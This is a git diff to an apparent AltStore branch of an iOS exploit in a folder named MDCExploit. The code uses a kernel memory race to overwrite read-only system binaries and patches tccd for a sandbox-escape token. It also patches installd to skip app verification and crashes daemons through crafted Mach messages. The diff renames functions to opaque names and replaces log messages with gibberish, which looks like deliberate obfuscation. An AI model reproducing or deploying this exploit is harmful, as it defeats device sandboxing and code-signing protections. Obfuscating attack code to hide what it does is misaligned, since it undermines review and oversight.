}); } -static NSData* patchTCCD(void* executableMap, size_t executableLength) { - struct grant_full_disk_access_offsets offsets = {}; - if (!patchfind(executableMap, executableLength, &offsets)) { +static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) { + struct fda_offsets offsets = {}; + if (!pchfind(executableMap, executableLength, &offsets)) { return nil; } @@ -250,56 +253,56 @@ static NSData* patchTCCD(void* executableMap, size_t executableLength) { char* mutableBytes = data.mutableBytes; { // rewrite com.apple.tcc. into blank string - *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; + *(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0; } { - // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" + // make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write" // we need to stick this somewhere; just put it in the padding between // the end of __objc_arrayobj and the end of __DATA_CONST - strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), + strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string), "com.apple.app-sandbox.read-write"); - struct dyld_chained_ptr_arm64e_rebase targetRebase = + struct dyld_chained_ptr_arm64e_rebase tRBase = *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + - offsets.offset_addr_s_kTCCServiceMediaLibrary); - targetRebase.target = offsets.offset_padding_space_for_read_write_string; + offsets.of_addr_s_kTCCSML); + tRBase.target = offsets.offset_pad_space_for_rw_string; *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + - offsets.offset_addr_s_kTCCServiceMediaLibrary) = - targetRebase; - *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = + offsets.of_addr_s_kTCCSML) = + tRBase; + *(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) = strlen("com.apple.app-sandbox.read-write"); } if (offsets.is_arm64e) { // make sandbox_init call return 0; - struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { + struct dyld_chained_ptr_arm64e_auth_rebase tRBase = { .auth = 1, .bind = 0, .next = 1, .key = 0, // IA .addrDiv = 1, .diversity = 0, - .target = offsets.offset_just_return_0, + .target = offsets.of_return_0, }; *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + - offsets.offset_auth_got__sandbox_init) = - targetRebase; + offsets.of_auth_got_sb_init) = + tRBase; } else { // make sandbox_init call return 0; - struct dyld_chained_ptr_64_rebase targetRebase = { + struct dyld_chained_ptr_64_rebase tRBase = { .bind = 0, .next = 2, - .target = offsets.offset_just_return_0, + .target = offsets.of_return_0, }; - *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = - targetRebase; + *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) = + tRBase; } return data; } -static bool overwrite_file(int fd, NSData* sourceData) { +static bool over_write_file(int fd, NSData* sourceData) { for (int off = 0; off < sourceData.length; off += 0x4000) { bool success = false; for (int i = 0; i < 2; i++) { - if (unaligned_copy_switch_race( + if (unalign_csr( fd, off, sourceData.bytes + off, off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { success = true; @@ -313,13 +316,15 @@ static bool overwrite_file(int fd, NSData* sourceData) { return true; } -static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, +static void grant_fda_impl(void (^completion)(NSString* extension_token, NSError* _Nullable error)) { - char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; +// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; + char* targetPath = "/Nope"; int fd = open(targetPath, O_RDONLY | O_CLOEXEC); if (fd == -1) { // iOS 15.3 and below - targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; +// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; + targetPath = "/Nope"; fd = open(targetPath, O_RDONLY | O_CLOEXEC); } off_t targetLength = lseek(fd, 0, SEEK_END); @@ -327,7 +332,7 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; - NSData* sourceData = patchTCCD(targetMap, targetLength); + NSData* sourceData = patch_tcc_daemon(targetMap, targetLength); if (!sourceData) { completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" code:5 @@ -335,8 +340,8 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t return; } - if (!overwrite_file(fd, sourceData)) { - overwrite_file(fd, originalData); + if (!over_write_file(fd, sourceData)) { + over_write_file(fd, originalData); munmap(targetMap, targetLength); completion( nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" @@ -349,25 +354,26 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t } munmap(targetMap, targetLength); - xpc_crasher("com.apple.tccd"); +// crash_with_xpc_thingy("com.apple.tccd"); + sleep(1); - call_tccd(^(NSString* _Nullable extension_token) { - overwrite_file(fd, originalData); - xpc_crasher("com.apple.tccd"); + call_tcc_daemon(^(NSString* _Nullable extension_token) { + over_write_file(fd, originalData); +// crash_with_xpc_thingy("com.apple.tccd"); NSError* returnError = nil; if (extension_token == nil) { returnError = [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" code:2 userInfo:@{ - NSLocalizedDescriptionKey : @"tccd did not return an extension token." + NSLocalizedDescriptionKey : @"no extension token returned." }]; } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { returnError = [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" code:3 userInfo:@{ - NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " + NSLocalizedDescriptionKey : @"failed: returned a media library token " @"instead of an app sandbox token." }]; extension_token = nil; @@ -376,7 +382,7 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t }); } -void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { +void grant_fda(void (^completion)(NSError* _Nullable)) { if (!NSClassFromString(@"NSPresentationIntent")) { // class introduced in iOS 15.0. // TODO(zhuowei): maybe check the actual OS version instead? @@ -385,15 +391,14 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { code:6 userInfo:@{ NSLocalizedDescriptionKey : - @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " - @"reverted after reboot, so running this may permanently corrupt tccd." + @"Not supported on iOS 14 and below." }]); return; } NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask][0]; NSURL* sourceURL = - [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; + [documentDirectory URLByAppendingPathComponent:@"fda_token.txt"]; NSError* error = nil; NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL encoding:NSUTF8StringEncoding @@ -406,7 +411,7 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { return; } } - grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { + grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) { if (error) { completion(error); return; @@ -429,7 +434,7 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { /// MARK - installd patch -struct installd_remove_app_limit_offsets { +struct daemon_remove_app_limit_offsets { uint64_t offset_objc_method_list_t_MIInstallableBundle; uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods; uint64_t offset_data_const_end_padding; @@ -437,73 +442,73 @@ struct installd_remove_app_limit_offsets { uint64_t offset_return_true; }; -struct installd_remove_app_limit_offsets gAppLimitOffsets = { +struct daemon_remove_app_limit_offsets gAppLimitOffsets = { .offset_objc_method_list_t_MIInstallableBundle = 0x519b0, .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8, .offset_data_const_end_padding = 0x79c38, .offset_return_true = 0x19860, }; -static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map, +static uint64_t pchfind_find_rwt_base_methods(void* execmap, size_t executable_length, const char* needle) { - void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1); if (!str_offset) { return 0; } - uint64_t str_file_offset = str_offset - executable_map; + uint64_t str_file_offset = str_offset - execmap; for (int i = 0; i < executable_length - 8; i += 8) { - uint64_t val = *(uint64_t*)(executable_map + i); + uint64_t val = *(uint64_t*)(execmap + i); if ((val & 0xfffffffful) != str_file_offset) { continue; } // baseMethods - if (*(uint64_t*)(executable_map + i + 8) != 0) { + if (*(uint64_t*)(execmap + i + 8) != 0) { return i + 8; } } return 0; } -static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) { +static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) { // mov w0, #1 // ret static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6}; - void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + void* offset = memmem(execmap, executable_length, needle, sizeof(needle)); if (!offset) { return 0; } - return offset - executable_map; + return offset - execmap; } -static bool patchfind_installd(void* executable_map, size_t executable_length, - struct installd_remove_app_limit_offsets* offsets) { +static bool pchfind_deaaamon(void* execmap, size_t executable_length, + struct daemon_remove_app_limit_offsets* offsets) { struct segment_command_64* data_const_segment = nil; struct symtab_command* symtab_command = nil; struct dysymtab_command* dysymtab_command = nil; - if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + if (!pchfind_sections(execmap, &data_const_segment, &symtab_command, &dysymtab_command)) { - printf("no sections\n"); +// printf("no sections\n"); return false; } - if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) { - printf("no padding\n"); + if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) { +// printf("no padding\n"); return false; } if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods = - patchfind_find_class_rw_t_baseMethods(executable_map, executable_length, + pchfind_find_rwt_base_methods(execmap, executable_length, "MIInstallableBundle")) == 0) { - printf("no MIInstallableBundle class_rw_t\n"); +// printf("no MIInstallableBundle class_rw_t\n"); return false; } offsets->offset_objc_method_list_t_MIInstallableBundle = - (*(uint64_t*)(executable_map + + (*(uint64_t*)(execmap + offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) & 0xffffffull; - if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) == + if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) == 0) { - printf("no return true\n"); +// printf("no return true\n"); return false; } return true; @@ -521,7 +526,7 @@ struct objc_method_list { struct objc_method methods[]; }; -static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset, +static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset, uint64_t new_offset, uint64_t* out_copied_length, void (^callback)(const char* sel, uint64_t* inout_function_pointer)) { @@ -551,9 +556,9 @@ static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset, } }; -static NSData* make_patch_installd(void* executableMap, size_t executableLength) { - struct installd_remove_app_limit_offsets offsets = {}; - if (!patchfind_installd(executableMap, executableLength, &offsets)) { +static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) { + struct daemon_remove_app_limit_offsets offsets = {}; + if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) { return nil; } @@ -562,7 +567,7 @@ static NSData* make_patch_installd(void* executableMap, size_t executableLength) uint64_t current_empty_space = offsets.offset_data_const_end_padding; uint64_t copied_size = 0; uint64_t new_method_list_offset = current_empty_space; - patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, + patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, current_empty_space, &copied_size, ^(const char* sel, uint64_t* inout_address) { if (strcmp(sel, "performVerificationWithError:") != 0) { @@ -579,7 +584,7 @@ static NSData* make_patch_installd(void* executableMap, size_t executableLength) return data; } -bool patch_installd() { +bool installdaemon_patch() { const char* targetPath = "/usr/libexec/installd"; int fd = open(targetPath, O_RDONLY | O_CLOEXEC); off_t targetLength = lseek(fd, 0, SEEK_END); @@ -587,24 +592,26 @@ bool patch_installd() { void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; - NSData* sourceData = make_patch_installd(targetMap, targetLength); + NSData* sourceData = make_installdaemon_patch(targetMap, targetLength); if (!sourceData) { - NSLog(@"can't patchfind"); + //can't patchfind +// NSLog(@"wuiydqw98uuqwd"); return false; } - if (!overwrite_file(fd, sourceData)) { - overwrite_file(fd, originalData); + if (!over_write_file(fd, sourceData)) { + over_write_file(fd, originalData); munmap(targetMap, targetLength); - NSLog(@"can't overwrite"); + //can't overwrite +// NSLog(@"wfqiohuwdhuiqoji"); return false; } munmap(targetMap, targetLength); - xpc_crasher("com.apple.mobile.installd"); + crash_with_xpc_thingy("com.apple.mobile.installd"); sleep(1); // TODO(zhuowei): for now we revert it once installd starts // so the change will only last until when this installd exits -// overwrite_file(fd, originalData); +// over_write_file(fd, originalData); return true; } diff --git a/AltStore/MDCExploit/helpers.h b/AltStore/MDCExploit/helping_tools.h similarity index 53% rename from AltStore/MDCExploit/helpers.h rename to AltStore/MDCExploit/helping_tools.h index aaf9f943..6d8f038c 100644 --- a/AltStore/MDCExploit/helpers.h +++ b/AltStore/MDCExploit/helping_tools.h @@ -1,11 +1,11 @@ #ifndef helpers_h #define helpers_h -char* get_temp_file_path(void); +char* get_temporary_file_location_paths(void); void test_nsexpressions(void); -char* set_up_tmp_file(void); +char* setup_temporary_file(void); -void xpc_crasher(char* service_name); +void crash_with_xpc_thingy(char* service_name); #define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) diff --git a/AltStore/MDCExploit/helpers.m b/AltStore/MDCExploit/helping_tools.m similarity index 70% rename from AltStore/MDCExploit/helpers.m rename to AltStore/MDCExploit/helping_tools.m index 6231ec67..868a4bb7 100644 --- a/AltStore/MDCExploit/helpers.m +++ b/AltStore/MDCExploit/helping_tools.m @@ -3,18 +3,18 @@ #include #include -char* get_temp_file_path(void) { +char* get_temporary_file_location_paths(void) { return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]); } // create a read-only test file we can target: -char* set_up_tmp_file(void) { - char* path = get_temp_file_path(); - printf("path: %s\n", path); +char* setup_temporary_file(void) { + char* path = get_temporary_file_location_paths(); +// printf("path: %s\n", path); FILE* f = fopen(path, "w"); if (!f) { - printf("opening the tmp file failed...\n"); +// printf("opening the tmp file failed...\n"); return NULL; } char* buf = malloc(PAGE_SIZE*10); @@ -27,22 +27,24 @@ char* set_up_tmp_file(void) { kern_return_t bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); -struct xpc_w00t { +struct x_p_c_w_zerozero_t { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_port_descriptor_t client_port; mach_msg_port_descriptor_t reply_port; }; -mach_port_t get_send_once(mach_port_t recv) { +mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) { mach_port_t so = MACH_PORT_NULL; mach_msg_type_name_t type = 0; kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); if (err != KERN_SUCCESS) { - printf("port right extraction failed: %s\n", mach_error_string(err)); + //a=port right extraction failed: %s\n +// printf("PREFail: %s\n", mach_error_string(err)); return MACH_PORT_NULL; } - printf("made so: 0x%x from recv: 0x%x\n", so, recv); + //made so: 0x%x from recv: 0x%x\n +// printf("ms 0x%x fr: 0x%x\n", so, recv); return so; } @@ -51,7 +53,7 @@ mach_port_t get_send_once(mach_port_t recv) { // (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html ) -void xpc_crasher(char* service_name) { +void crash_with_xpc_thingy(char* service_name) { mach_port_t client_port = MACH_PORT_NULL; mach_port_t reply_port = MACH_PORT_NULL; @@ -59,39 +61,44 @@ void xpc_crasher(char* service_name) { kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); if(err != KERN_SUCCESS){ - printf("unable to look up %s\n", service_name); + //unable to look up +// printf("utluqwd %s\n", service_name); return; } if (service_port == MACH_PORT_NULL) { - printf("bad service port\n"); + //bad service port +// printf("wih1221udq\n"); return; } // allocate the client and reply port: err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); if (err != KERN_SUCCESS) { - printf("port allocation failed: %s\n", mach_error_string(err)); + //port allocation failed: +// printf("padiuhewi %s\n", mach_error_string(err)); return; } - mach_port_t so0 = get_send_once(client_port); - mach_port_t so1 = get_send_once(client_port); + mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port); + mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port); // insert a send so we maintain the ability to send to this port err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); if (err != KERN_SUCCESS) { - printf("port right insertion failed: %s\n", mach_error_string(err)); + //port right insertion failed: +// printf("weediuwe %s\n", mach_error_string(err)); return; } err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); if (err != KERN_SUCCESS) { - printf("port allocation failed: %s\n", mach_error_string(err)); + //port allocation failed: +// printf("wuiq21d %s\n", mach_error_string(err)); return; } - struct xpc_w00t msg; + struct x_p_c_w_zerozero_t msg; memset(&msg.hdr, 0, sizeof(msg)); msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); msg.hdr.msgh_size = sizeof(msg); @@ -117,10 +124,12 @@ void xpc_crasher(char* service_name) { MACH_PORT_NULL); if (err != KERN_SUCCESS) { - printf("w00t message send failed: %s\n", mach_error_string(err)); + //w00t message send failed: +// printf("ondwehu %s\n", mach_error_string(err)); return; } else { - printf("sent xpc w00t message\n"); + //sent xpc w00t message\n +// printf("wq98ywqe"); } mach_port_deallocate(mach_task_self(), so0); diff --git a/AltStore/MDCExploit/vm_unaligned_copy_switch_race.c b/AltStore/MDCExploit/vm_unalign_csr.c similarity index 64% rename from AltStore/MDCExploit/vm_unaligned_copy_switch_race.c rename to AltStore/MDCExploit/vm_unalign_csr.c index c277c9a7..95a1f854 100644 --- a/AltStore/MDCExploit/vm_unaligned_copy_switch_race.c +++ b/AltStore/MDCExploit/vm_unalign_csr.c @@ -12,7 +12,8 @@ #include #include -#include "vm_unaligned_copy_switch_race.h" +//vm_unaligned_copy_switch_race +#include "vm_unalign_csr.h" #define T_QUIET #define T_EXPECT_MACH_SUCCESS(a, b) @@ -27,39 +28,40 @@ #define T_DECL(a, b) static void a(void) #define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) -struct context1 { - vm_size_t obj_size; - vm_address_t e0; - mach_port_t mem_entry_ro; - mach_port_t mem_entry_rw; - dispatch_semaphore_t running_sem; - pthread_mutex_t mtx; - volatile bool done; +struct contextual_structure { + vm_size_t ob_sizing; + vm_address_t vmaddress_zeroe; + mach_port_t memory_entry_r_o; + mach_port_t memory_entry_r_w; + dispatch_semaphore_t currently_active_sem; + pthread_mutex_t mutex_thingy; + volatile bool finished; }; +//switcheroo_thread static void * -switcheroo_thread(__unused void *arg) +sro_thread(__unused void *arg) { kern_return_t kr; - struct context1 *ctx; + struct contextual_structure *ctx; - ctx = (struct context1 *)arg; + ctx = (struct contextual_structure *)arg; /* tell main thread we're ready to run */ - dispatch_semaphore_signal(ctx->running_sem); - while (!ctx->done) { + dispatch_semaphore_signal(ctx->currently_active_sem); + while (!ctx->finished) { /* wait for main thread to be done setting things up */ - pthread_mutex_lock(&ctx->mtx); - if (ctx->done) { - pthread_mutex_unlock(&ctx->mtx); + pthread_mutex_lock(&ctx->mutex_thingy); + if (ctx->finished) { + pthread_mutex_unlock(&ctx->mutex_thingy); break; } /* switch e0 to RW mapping */ kr = vm_map(mach_task_self(), - &ctx->e0, - ctx->obj_size, + &ctx->vmaddress_zeroe, + ctx->ob_sizing, 0, /* mask */ VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, - ctx->mem_entry_rw, + ctx->memory_entry_r_w, 0, FALSE, /* copy */ VM_PROT_READ | VM_PROT_WRITE, @@ -70,11 +72,11 @@ switcheroo_thread(__unused void *arg) usleep(100); /* switch bakc to original RO mapping */ kr = vm_map(mach_task_self(), - &ctx->e0, - ctx->obj_size, + &ctx->vmaddress_zeroe, + ctx->ob_sizing, 0, /* mask */ VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, - ctx->mem_entry_ro, + ctx->memory_entry_r_o, 0, FALSE, /* copy */ VM_PROT_READ, @@ -82,13 +84,14 @@ switcheroo_thread(__unused void *arg) VM_INHERIT_DEFAULT); T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); /* tell main thread we're don switching mappings */ - pthread_mutex_unlock(&ctx->mtx); + pthread_mutex_unlock(&ctx->mutex_thingy); usleep(100); } return NULL; } -bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) { +//unaligned_copy_switch_race +bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) { bool retval = false; pthread_t th = NULL; int ret; @@ -100,79 +103,81 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const vm_size_t copied_size; int loops; vm_address_t e2, e5; - struct context1 context1, *ctx; + struct contextual_structure context1, *ctx; int kern_success = 0, kern_protection_failure = 0, kern_other = 0; vm_address_t ro_addr, tmp_addr; memory_object_size_t mo_size; ctx = &context1; - ctx->obj_size = 256 * 1024; + ctx->ob_sizing = 256 * 1024; - void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset); + void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file); if (file_mapped == MAP_FAILED) { - fprintf(stderr, "failed to map\n"); +// fprintf(stderr, "failed to map\n"); return false; } - if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { - fprintf(stderr, "already the same?\n"); - munmap(file_mapped, ctx->obj_size); + if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) { +// fprintf(stderr, "already the same?\n"); + munmap(file_mapped, ctx->ob_sizing); return true; } ro_addr = (vm_address_t)file_mapped; - ctx->e0 = 0; - ctx->running_sem = dispatch_semaphore_create(0); - T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); - ret = pthread_mutex_init(&ctx->mtx, NULL); + ctx->vmaddress_zeroe = 0; + ctx->currently_active_sem = dispatch_semaphore_create(0); + //c=dispatch_semaphore_create + T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd"); + ret = pthread_mutex_init(&ctx->mutex_thingy, NULL); T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); - ctx->done = false; - ctx->mem_entry_rw = MACH_PORT_NULL; - ctx->mem_entry_ro = MACH_PORT_NULL; + ctx->finished = false; + ctx->memory_entry_r_w = MACH_PORT_NULL; + ctx->memory_entry_r_o = MACH_PORT_NULL; #if 0 /* allocate our attack target memory */ kr = vm_allocate(mach_task_self(), &ro_addr, - ctx->obj_size, + ctx->ob_sizing, VM_FLAGS_ANYWHERE); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); /* initialize to 'A' */ - memset((char *)ro_addr, 'A', ctx->obj_size); + memset((char *)ro_addr, 'A', ctx->ob_sizing); #endif /* make it read-only */ kr = vm_protect(mach_task_self(), ro_addr, - ctx->obj_size, + ctx->ob_sizing, TRUE, /* set_maximum */ VM_PROT_READ); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); /* make sure we can't get read-write handle on that target memory */ - mo_size = ctx->obj_size; + mo_size = ctx->ob_sizing; kr = mach_make_memory_entry_64(mach_task_self(), &mo_size, ro_addr, MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, - &ctx->mem_entry_ro, + &ctx->memory_entry_r_o, MACH_PORT_NULL); T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); /* take read-only handle on that target memory */ - mo_size = ctx->obj_size; + mo_size = ctx->ob_sizing; kr = mach_make_memory_entry_64(mach_task_self(), &mo_size, ro_addr, MAP_MEM_VM_SHARE | VM_PROT_READ, - &ctx->mem_entry_ro, + &ctx->memory_entry_r_o, MACH_PORT_NULL); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); - T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + //c= wrong mem_entry size + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu"); /* make sure we can't map target memory as writable */ tmp_addr = 0; kr = vm_map(mach_task_self(), &tmp_addr, - ctx->obj_size, + ctx->ob_sizing, 0, /* mask */ VM_FLAGS_ANYWHERE, - ctx->mem_entry_ro, + ctx->memory_entry_r_o, 0, FALSE, /* copy */ VM_PROT_READ, @@ -182,10 +187,10 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const tmp_addr = 0; kr = vm_map(mach_task_self(), &tmp_addr, - ctx->obj_size, + ctx->ob_sizing, 0, /* mask */ VM_FLAGS_ANYWHERE, - ctx->mem_entry_ro, + ctx->memory_entry_r_o, 0, FALSE, /* copy */ VM_PROT_READ | VM_PROT_WRITE, @@ -196,25 +201,26 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const /* allocate a source buffer for the unaligned copy */ kr = vm_allocate(mach_task_self(), &e5, - ctx->obj_size * 2, + ctx->ob_sizing * 2, VM_FLAGS_ANYWHERE); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); /* initialize to 'C' */ - memset((char *)e5, 'C', ctx->obj_size * 2); + memset((char *)e5, 'C', ctx->ob_sizing * 2); - char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); - memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); + char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1); + memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data); int overwrite_first_diff_offset = -1; char overwrite_first_diff_value = 0; - for (int off = 0; off < overwrite_length; off++) { + for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) { if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { overwrite_first_diff_offset = off; overwrite_first_diff_value = ((char*)ro_addr)[off]; } } if (overwrite_first_diff_offset == -1) { - fprintf(stderr, "no diff?\n"); + //b=no diff? + fprintf(stderr, "uewiyfih"); return false; } @@ -226,36 +232,37 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const tmp_addr = 0; kr = vm_allocate(mach_task_self(), &tmp_addr, - ctx->obj_size, + ctx->ob_sizing, VM_FLAGS_ANYWHERE); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); /* initialize to 'D' */ - memset((char *)tmp_addr, 'D', ctx->obj_size); + memset((char *)tmp_addr, 'D', ctx->ob_sizing); /* get a memory entry handle for that RW memory */ - mo_size = ctx->obj_size; + mo_size = ctx->ob_sizing; kr = mach_make_memory_entry_64(mach_task_self(), &mo_size, tmp_addr, MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, - &ctx->mem_entry_rw, + &ctx->memory_entry_r_w, MACH_PORT_NULL); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); - T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); - kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); + //c=wrong mem_entry size + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow"); + kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); tmp_addr = 0; - pthread_mutex_lock(&ctx->mtx); + pthread_mutex_lock(&ctx->mutex_thingy); /* start racing thread */ - ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); + ret = pthread_create(&th, NULL, sro_thread, (void *)ctx); T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); /* wait for racing thread to be ready to run */ - dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); + dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER); duration = 10; /* 10 seconds */ - T_LOG("Testing for %ld seconds...", duration); +// T_LOG("Testing for %ld seconds...", duration); for (start = time(NULL), loops = 0; time(NULL) < start + duration; loops++) { @@ -263,27 +270,27 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const e2 = 0; kr = vm_allocate(mach_task_self(), &e2, - 2 * ctx->obj_size, + 2 * ctx->ob_sizing, VM_FLAGS_ANYWHERE); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); /* make 1st allocation in our reserved space */ kr = vm_allocate(mach_task_self(), &e2, - ctx->obj_size, + ctx->ob_sizing, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | 